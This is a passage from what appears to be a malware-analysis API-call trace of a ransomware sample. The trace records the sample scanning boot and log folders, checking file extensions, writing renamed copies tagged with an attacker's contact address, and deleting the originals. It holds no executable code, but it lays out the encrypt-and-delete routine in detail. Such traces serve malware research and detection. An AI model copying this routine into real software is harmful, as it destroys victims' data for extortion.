lpString2=".mui") returned 1 [0142.342] lstrlenW (lpString=".bz2") returned 4 [0142.342] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.342] lstrlenW (lpString=".7z") returned 3 [0142.342] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.342] lstrlenW (lpString=".dbf") returned 4 [0142.342] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.342] lstrlenW (lpString=".1cd") returned 4 [0142.342] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.342] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0142.343] lstrlenW (lpString=".jpg") returned 4 [0142.343] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.343] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.343] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0142.343] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.343] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=79200) returned 1 [0142.343] CloseHandle (hObject=0x1038) returned 1 [0142.343] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0142.343] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.343] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.343] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.343] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.344] lstrlenW (lpString=".doc") returned 4 [0142.344] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.344] lstrlenW (lpString=".docx") returned 5 [0142.344] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.344] lstrlenW (lpString=".pdf") returned 4 [0142.344] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.344] lstrlenW (lpString=".xls") returned 4 [0142.344] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.344] lstrlenW (lpString=".xlsx") returned 5 [0142.344] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.344] lstrlenW (lpString=".ppt") returned 4 [0142.344] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.344] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.344] lstrlenW (lpString=".zip") returned 4 [0142.344] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.344] lstrlenW (lpString=".rar") returned 4 [0142.344] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.344] lstrlenW (lpString=".bz2") returned 4 [0142.344] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.344] lstrlenW (lpString=".7z") returned 3 [0142.344] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.344] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.344] lstrlenW (lpString=".dbf") returned 4 [0142.344] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.344] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.344] lstrlenW (lpString=".1cd") returned 4 [0142.344] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.344] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.344] lstrlenW (lpString=".jpg") returned 4 [0142.344] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.345] lstrlenW (lpString=".doc") returned 4 [0142.345] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.345] lstrlenW (lpString=".docx") returned 5 [0142.345] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.345] lstrlenW (lpString=".pdf") returned 4 [0142.345] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.345] lstrlenW (lpString=".xls") returned 4 [0142.345] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.345] lstrlenW (lpString=".xlsx") returned 5 [0142.345] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.345] lstrlenW (lpString=".ppt") returned 4 [0142.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.345] lstrlenW (lpString=".zip") returned 4 [0142.345] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.345] lstrlenW (lpString=".rar") returned 4 [0142.345] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.345] lstrlenW (lpString=".bz2") returned 4 [0142.345] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.345] lstrlenW (lpString=".7z") returned 3 [0142.345] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.345] lstrlenW (lpString=".dbf") returned 4 [0142.345] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.345] lstrlenW (lpString=".1cd") returned 4 [0142.345] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0142.345] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0142.346] lstrlenW (lpString=".jpg") returned 4 [0142.346] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0142.346] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0142.346] lstrlenW (lpString="memtest.exe.mui") returned 15 [0142.346] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.346] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=45984) returned 1 [0142.346] CloseHandle (hObject=0x1038) returned 1 [0142.346] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0142.346] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.346] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.346] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0142.346] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0142.346] lstrlenW (lpString=".doc") returned 4 [0142.347] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0142.347] lstrlenW (lpString=".docx") returned 5 [0142.347] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0142.347] lstrlenW (lpString=".pdf") returned 4 [0142.347] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0142.347] lstrlenW (lpString=".xls") returned 4 [0142.347] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0142.347] lstrlenW (lpString=".xlsx") returned 5 [0142.347] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0142.347] lstrlenW (lpString=".ppt") returned 4 [0142.347] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0142.347] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0142.347] lstrlenW (lpString=".zip") returned 4 [0142.347] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0142.347] lstrlenW (lpString=".rar") returned 4 [0142.347] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0142.347] lstrlenW (lpString=".bz2") returned 4 [0142.347] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0142.347] lstrlenW (lpString=".7z") returned 3 [0142.347] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0142.347] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0142.347] lstrlenW (lpString=".dbf") returned 4 [0142.347] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0142.467] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0143.198] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0143.350] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0144.127] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\bootnxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.131] GetLastError () returned 0x0 [0144.131] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x1, lpOverlapped=0x0) returned 1 [0144.132] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x10, lpOverlapped=0x0) returned 1 [0144.132] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.133] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xe2, lpOverlapped=0x0) returned 1 [0144.133] SetEndOfFile (hFile=0x10b4) returned 1 [0144.133] CloseHandle (hObject=0x10b4) returned 1 [0144.133] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.133] SetEndOfFile (hFile=0x10c8) returned 1 [0144.134] CloseHandle (hObject=0x10c8) returned 1 [0144.134] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0144.135] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0144.135] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.135] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.135] lstrlenW (lpString=".doc") returned 4 [0144.135] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".docx") returned 5 [0144.135] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0144.135] lstrlenW (lpString=".pdf") returned 4 [0144.135] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".xls") returned 4 [0144.135] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".xlsx") returned 5 [0144.135] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0144.135] lstrlenW (lpString=".ppt") returned 4 [0144.135] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.135] lstrlenW (lpString=".zip") returned 4 [0144.135] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".rar") returned 4 [0144.135] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".bz2") returned 4 [0144.135] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString=".7z") returned 3 [0144.135] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0144.135] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.135] lstrlenW (lpString=".dbf") returned 4 [0144.135] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0144.135] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.135] lstrlenW (lpString=".1cd") returned 4 [0144.135] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.136] lstrlenW (lpString=".jpg") returned 4 [0144.136] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.136] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.136] lstrlenW (lpString=".doc") returned 4 [0144.136] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString=".docx") returned 5 [0144.136] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0144.136] lstrlenW (lpString=".pdf") returned 4 [0144.136] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString=".xls") returned 4 [0144.136] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString=".xlsx") returned 5 [0144.136] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0144.136] lstrlenW (lpString=".ppt") returned 4 [0144.136] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.136] lstrlenW (lpString=".zip") returned 4 [0144.136] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString=".rar") returned 4 [0144.136] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0144.136] lstrlenW (lpString=".bz2") returned 4 [0144.136] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0144.137] lstrlenW (lpString=".7z") returned 3 [0144.137] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0144.137] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.137] lstrlenW (lpString=".dbf") returned 4 [0144.137] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0144.137] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.137] lstrlenW (lpString=".1cd") returned 4 [0144.137] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0144.137] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0144.137] lstrlenW (lpString=".jpg") returned 4 [0144.137] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0144.138] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.138] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0144.138] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.189] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0144.189] CloseHandle (hObject=0x10c8) returned 1 [0144.189] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0144.189] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.189] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.189] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.189] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.189] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.195] GetLastError () returned 0x0 [0144.195] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.317] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.319] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.319] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xfa, lpOverlapped=0x0) returned 1 [0144.319] SetEndOfFile (hFile=0x10b4) returned 1 [0144.319] CloseHandle (hObject=0x10b4) returned 1 [0144.321] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.321] SetEndOfFile (hFile=0x10c8) returned 1 [0144.322] CloseHandle (hObject=0x10c8) returned 1 [0144.322] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.322] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0144.322] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.322] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.322] lstrlenW (lpString=".doc") returned 4 [0144.322] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.322] lstrlenW (lpString=".docx") returned 5 [0144.322] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.322] lstrlenW (lpString=".pdf") returned 4 [0144.322] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".xls") returned 4 [0144.323] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".xlsx") returned 5 [0144.323] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.323] lstrlenW (lpString=".ppt") returned 4 [0144.323] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString=".zip") returned 4 [0144.323] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".rar") returned 4 [0144.323] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".bz2") returned 4 [0144.323] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".7z") returned 3 [0144.323] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString=".dbf") returned 4 [0144.323] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString=".1cd") returned 4 [0144.323] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString=".jpg") returned 4 [0144.323] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.323] lstrlenW (lpString=".doc") returned 4 [0144.323] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.323] lstrlenW (lpString=".docx") returned 5 [0144.323] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.323] lstrlenW (lpString=".pdf") returned 4 [0144.323] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.324] lstrlenW (lpString=".xls") returned 4 [0144.324] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.324] lstrlenW (lpString=".xlsx") returned 5 [0144.324] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.324] lstrlenW (lpString=".ppt") returned 4 [0144.324] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.324] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.325] lstrlenW (lpString=".zip") returned 4 [0144.325] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.325] lstrlenW (lpString=".rar") returned 4 [0144.325] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.325] lstrlenW (lpString=".bz2") returned 4 [0144.325] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.325] lstrlenW (lpString=".7z") returned 3 [0144.325] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.325] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.325] lstrlenW (lpString=".dbf") returned 4 [0144.325] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.325] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.325] lstrlenW (lpString=".1cd") returned 4 [0144.325] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.325] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0144.325] lstrlenW (lpString=".jpg") returned 4 [0144.325] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.325] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.325] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0144.325] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.326] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0144.326] CloseHandle (hObject=0x10c8) returned 1 [0144.326] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0144.326] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.326] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.326] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.326] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.326] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.326] GetLastError () returned 0x0 [0144.326] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.338] WriteFile (in: hFile=0x10b4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.340] ReadFile (in: hFile=0x10c8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: 